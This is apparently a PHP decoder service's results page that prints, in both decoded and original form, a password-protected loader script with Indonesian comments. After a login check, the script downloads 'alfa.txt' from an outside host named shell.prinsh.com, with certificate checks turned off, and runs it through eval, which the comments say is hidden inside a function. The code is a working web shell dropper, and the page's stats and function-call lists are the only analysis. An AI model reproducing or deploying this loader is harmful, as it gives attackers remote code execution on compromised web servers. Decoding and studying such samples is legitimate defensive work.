Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php session_start(); // Hash password yang valid (gunakan SHA-256) define('PASSWORD..

Decoded Output download

<?php 
session_start(); 
 
// Hash password yang valid (gunakan SHA-256) 
define('PASSWORD_HASH', '236cbb6525c59fceb74f7b73f2f9b1d745d672881df43dcbb4847eae24263de2'); 
 
// Fungsi untuk mengeksekusi kode 
function executeCode($code) { 
    eval('?>' . $code); // Menyembunyikan eval dalam fungsi 
} 
 
// Fungsi untuk mengambil konten dari URL 
function geturlsinfo($url) { 
    $url_get_contents_data = false; 
 
    if (function_exists('curl_exec')) { 
        $conn = curl_init($url); 
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, true); 
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, true); 
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); 
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); 
 
        if (isset($_SESSION['coki'])) { 
            curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['coki']); 
        } 
 
        $url_get_contents_data = curl_exec($conn); 
        if (curl_errno($conn)) { 
            $url_get_contents_data = false; 
        } 
        curl_close($conn); 
    } elseif (function_exists('file_get_contents')) { 
        $url_get_contents_data = @file_get_contents($url); 
    } elseif (function_exists('fopen') && function_exists('stream_get_contents')) { 
        $handle = @fopen($url, "r"); 
        if ($handle) { 
            $url_get_contents_data = stream_get_contents($handle); 
            fclose($handle); 
        } 
    } 
 
    return $url_get_contents_data; 
} 
 
// Proses validasi login 
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { 
    $passwordInput = $_POST['password']; 
    $passwordHashInput = hash('sha256', $passwordInput); // Hash password yang dimasukkan pengguna 
 
    if ($passwordHashInput === PASSWORD_HASH) { 
        $_SESSION['login_valid'] = true; // Tandai login valid 
    } else { 
        echo "<script>alert('Invalid password. Please try again.');</script>"; 
    } 
} 
 
// Jika login valid, lanjutkan proses 
if (isset($_SESSION['login_valid']) && $_SESSION['login_valid'] === true) { 
    $a = geturlsinfo('https://shell.prinsh.com/Nathan/alfa.txt'); 
    if ($a !== false) { 
        executeCode($a); // Panggil fungsi untuk mengeksekusi kode 
    } else { 
        echo "Failed to retrieve content."; 
    } 
    exit; // Hentikan eksekusi setelah login berhasil 
} 
?>

Did this file decode correctly?

Original Code

<?php
session_start();

// Hash password yang valid (gunakan SHA-256)
define('PASSWORD_HASH', '236cbb6525c59fceb74f7b73f2f9b1d745d672881df43dcbb4847eae24263de2');

// Fungsi untuk mengeksekusi kode
function executeCode($code) {
    eval('?>' . $code); // Menyembunyikan eval dalam fungsi
}

// Fungsi untuk mengambil konten dari URL
function geturlsinfo($url) {
    $url_get_contents_data = false;

    if (function_exists('curl_exec')) {
        $conn = curl_init($url);
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);

        if (isset($_SESSION['coki'])) {
            curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['coki']);
        }

        $url_get_contents_data = curl_exec($conn);
        if (curl_errno($conn)) {
            $url_get_contents_data = false;
        }
        curl_close($conn);
    } elseif (function_exists('file_get_contents')) {
        $url_get_contents_data = @file_get_contents($url);
    } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
        $handle = @fopen($url, "r");
        if ($handle) {
            $url_get_contents_data = stream_get_contents($handle);
            fclose($handle);
        }
    }

    return $url_get_contents_data;
}

// Proses validasi login
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
    $passwordInput = $_POST['password'];
    $passwordHashInput = hash('sha256', $passwordInput); // Hash password yang dimasukkan pengguna

    if ($passwordHashInput === PASSWORD_HASH) {
        $_SESSION['login_valid'] = true; // Tandai login valid
    } else {
        echo "<script>alert('Invalid password. Please try again.');</script>";
    }
}

// Jika login valid, lanjutkan proses
if (isset($_SESSION['login_valid']) && $_SESSION['login_valid'] === true) {
    $a = geturlsinfo('https://shell.prinsh.com/Nathan/alfa.txt');
    if ($a !== false) {
        executeCode($a); // Panggil fungsi untuk mengeksekusi kode
    } else {
        echo "Failed to retrieve content.";
    }
    exit; // Hentikan eksekusi setelah login berhasil
}
?>

Function Calls

define 1
session_start 1

Variables

None

Stats

MD5 a88ae12c07e68abf060b4c5348144f26
Eval Count 0
Decode Time 95 ms